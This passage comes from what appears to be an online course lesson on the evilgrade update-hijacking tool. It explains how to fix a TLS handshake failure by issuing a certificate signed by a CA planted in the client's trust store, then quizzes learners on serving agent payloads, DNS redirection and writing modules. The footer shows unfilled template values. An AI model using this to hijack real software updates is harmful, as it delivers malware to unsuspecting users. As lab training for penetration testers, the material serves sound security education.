You're using evilgrade to intercept a software updater that fetches over HTTPS. The client hits port 443, you see the "(SSL) WebServer Client" line, but no request body ever gets parsed and the update "fails." Rather than guessing, you reason through this lesson: the parent logged the connection, so TCP is fine; the missing "Packet request" line points at the accept_SSL() branch. You run openssl s_client against your server, discover the served cert's CN doesn't match the hostname the client expects, regenerate a correctly-named cert with gen-self-cert-signed-with-ca.sh signed by my-ca.pem (which you've installed into the client's trust store), update the SSL_cert_file/SSL_key_file paths, and the handshake completes.

Next Steps

Now that you can diagnose serving and TLS failures, study the response subroutine's request parsing and virtual-host matching to understand how a successful connection gets routed to the correct exploit module.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. A learner runs 'set agent ./agent/mypayload.exe' from the top-level 'evilgrade>' prompt (before entering any module) and is surprised the ccleaner module still uses its default agent. Why did this happen?

Q2. After starting the web and DNS servers, a user realizes they picked the wrong agent, runs 'set agent ./agent/newpayload.exe', but the live server keeps serving the old payload. What explains this, and what is the correct fix?

Q3. You configure the ccleaner module correctly and run 'start'. The web server comes up, but the lab machine never gets redirected to it and 'www.ccleaner.com' still resolves normally. Based on run_start's logic, what is the most likely cause?

Q4. When authoring a new module, why must a request entry serving the executable payload use 'bin => 1, parse => 0' while the fake update manifest uses 'bin => 0, parse => 1'?

Q5. During an HTTPS interception, you see the '(SSL) WebServer Client on 443' line in the console but no subsequent 'Packet request' line, and the update silently fails. Using the webserver's SSL flow, what is the best diagnosis and verification step?

🎓 Course Complete!

You passed all module quizzes with an average score of 0%. Your certificate is for course version .